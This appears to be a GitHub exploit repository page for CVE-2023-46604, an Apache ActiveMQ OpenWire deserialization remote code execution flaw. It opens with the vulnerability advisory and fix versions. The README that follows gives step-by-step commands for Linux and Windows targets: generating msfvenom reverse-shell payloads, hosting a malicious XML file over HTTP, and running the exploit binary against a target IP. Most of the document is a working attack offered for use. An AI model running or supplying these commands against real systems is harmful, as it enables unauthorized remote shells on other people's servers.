Associated Vulnerability

Title:Apache ActiveMQ, Apache ActiveMQ Legacy OpenWire Module: Unbounded deserialization causes ActiveMQ to be vulnerable to a remote code execution (RCE) attack (CVE-2023-46604)
Description:The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.

Description

 Achieving a Reverse Shell Exploit for Apache ActiveMQ (CVE_2023-46604)

Readme

# CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
This exploit builds upon the foundational work available at https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE). We have further developed the technique to achieve a reverse shell utilizing the Metasploit Framework (https://github.com/rapid7/metasploit-framework).

# Usage:
<b>Important: Manually change the IP Address (0.0.0.0 on line 11) in the XML files with the IP Address where the payload will be generated. If u follow the below commands it will be your Listner IP Addess. Also {IP_Of_Hosted_XML_File} will be your Listner IP Address.</b>

For Linux/Unix Targets
```
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f elf -o test.elf
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-linux.xml
```

For Windows Targets
```
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f eXE -o test.exe
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-windows.xml
```
